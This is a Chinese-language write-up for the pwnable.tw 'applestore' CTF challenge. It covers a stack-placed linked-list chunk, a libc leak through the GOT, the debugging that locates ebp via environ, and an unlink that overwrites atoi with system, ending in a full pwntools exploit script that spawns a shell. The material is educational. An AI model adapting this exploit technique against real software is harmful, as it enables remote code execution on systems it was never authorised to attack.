PWNABLE applestore
查看文件基本信息
分析程序行为
该题是模拟了apple的商店,来售卖apple的各种产品,其提供了6个功能:
- 1: 展示商店的商品
- 2: 添加商品到购物车
- 3: 从购物车里面将某一商品删除
- 4: 展示购物车里面的商品
- 5: 结算
- 6: 退出
静态分析
先创建一个结构体:
然后分析这块代码,每一个新添加的手机都是一个chunk,起始位置位于myCart上,是确定的,其后跟着其他的chunk,如下图:
Phone *__cdecl insert(Phone *a1) { Phone *result; // eax Phone *i; // [esp+Ch] [ebp-4h] for ( i = (Phone *)&myCart; i->next; i = (Phone *)i->next ) ; i->next = (int)a1; result = a1; a1->before = (int)i; return result; }
在分析checkout()这个函数时,发现当总金额达到7174时,会自动添加一个1块钱的iPhone8,最关键的是,这一块chunk是放到栈上的!!!
可以看到新添加的iPhone8的地址是在[ebp-20h]处。因为checkout(),cart(),delete()等函数在执行完后都会返回handler(),这就保证了返回时的EBP和ESP是相同的,然后再调用checkout(),cart(),delete()等函数时,EBP和ESP仍然相同。
unsigned int checkout() { int v1; // [esp+10h] [ebp-28h] Phone v2; // [esp+18h] [ebp-20h] BYREF unsigned int v3; // [esp+2Ch] [ebp-Ch] v3 = __readgsdword(0x14u); v1 = cart(); // 计算多少钱 if ( v1 == 7174 ) { puts("*: iPhone 8 - $1"); asprintf((char **)&v2, "%s", "iPhone 8"); v2.price = 1; insert(&v2); v1 = 7175; } printf("Total: $%d\n", v1); puts("Want to checkout? Maybe next time!"); return __readgsdword(0x14u) ^ v3; }
所以可以在cart()中,在输入buf变量时,更改[ebp-0x20]的这块栈内存。进行泄露libc基址和覆盖GOT表。
int cart() { int v0; // eax int v2; // [esp+18h] [ebp-30h] int v3; // [esp+1Ch] [ebp-2Ch] Phone *i; // [esp+20h] [ebp-28h] char buf[22]; // [esp+26h] [ebp-22h] BYREF unsigned int v6; // [esp+3Ch] [ebp-Ch] v6 = __readgsdword(0x14u); v2 = 1; v3 = 0; printf("Let me check your cart. ok? (y/n) > "); fflush(stdout); my_read(buf, 21u); if ( buf[0] == 'y' ) { puts("==== Cart ===="); for ( i = (Phone *)next; i; i = (Phone *)i->next ) { v0 = v2++; printf("%d: %s - $%d\n", v0, (const char *)i->device, i->price); v3 += i->price; } } return v3; }
动态分析
其他的WP都写着要泄露EBP,然后用到了一个environ,然后这个EBP的地址就是泄露出来的environ-0x104,怎么来的好多WP没写,这里来写一写:
这个要在脚本中写好的exp中进行调试,exp就是最下面的那个。然后在0x848c41这个地方下个断点。
按s进入delete函数,然后在这里停下来
然后 输入stack 50查看栈的情况:
可以看到ebp的地址为0xffeaf268 而此时我们获取到的environ为0xffeaf36c。所以需要将environ-0x104才是ebp的位置。
漏洞利用
1.因为一块钱的iPhone8放在了栈上,并且这块栈可控。
2.修改chunk的头上四字节为某一函数的GOT,从而求出libc基地址。
3.利用求出的libc基地址,可以进一步得出environ变量的值。
4.利用动态调试,得到ebp的地址为environ-0x104。
5.调用delete函数,将next和before位置上的值分别设为got['atoi']-0x22和ebp-0x8,在unlink时,就会把ebp对应的那块栈内存设置成got['atoi']-0x22,并且通过函数结束时的pop ebp, 把这个got['atoi']-0x22弹入ebp寄存器当中。
6.delete函数调用结束后会返回handler,因为它是一个while循环,所以并不是从handler最开始的地方开始执行,这样就保持了上一步修改的ebp寄存器当中的值不发生变化。
7.如下图的handler的汇编语言显示,因为当前ebp寄存器中的值为got['atoi']-0x22,再加上0x22就是got['atoi']的位置,这里将system的地址与/bin/sh写入。当下面执行atoi函数时,其实就成立执行system函数了,并且参数为system的地址加/bin/sh,所以需要加个分号,从而最终得到shell。
EXP
from pwn import * context.log_level = 'debug' # io=process('./applestore') # io=gdb.debug('./applestore','b main') io=remote('chall.pwnable.tw','10104') elf=ELF('./applestore') # libc=ELF('/lib/i386-linux-gnu/libc.so.6') libc=ELF('libc.so.6') got_atoi=elf.got['atoi'] def add(number): io.recvuntil('> ') io.sendline('2') io.recvuntil('Device Number> ') io.sendline(number) def check(): io.recvuntil('>') io.sendline('5') io.recvuntil('Let me check your cart. ok? (y/n) > ') io.sendline('y') def cart(addr,addr2): io.recvuntil('> ') io.sendline('4') io.recvuntil('Let me check your cart. ok? (y/n) > ') io.sendline('y\x00'+addr+p32(0xdeadbeef)+addr2+p32(0xdeadbeef)) for i in range(6): add('1') for i in range(20): add('2') check() cart(p32(got_atoi),p32(0x804B070)) io.recvuntil('27: ') address_atoi=u32(io.recv(numb=4)) print hex(address_atoi) libc.address=address_atoi-libc.sym['atoi'] environ=libc.sym['environ'] cart(p32(environ),p32(0x804B070)) io.recvuntil('27: ') addr_stack=u32(io.recv(numb=4)) print hex(addr_stack) addr_ebp=addr_stack-0x104 io.recv() io.sendline('3') io.recvuntil('Item Number> ') io.sendline('27'+p32(0x08049068)+p32(0xdeadbeef)+p32(elf.got['atoi']+0x22)+p32(addr_ebp-0x8)) #最开始四字节需要为一个能访问的地址 io.recvuntil('> ') io.sendline(p32(libc.sym['system'])+';/bin/sh\x00') io.interactive()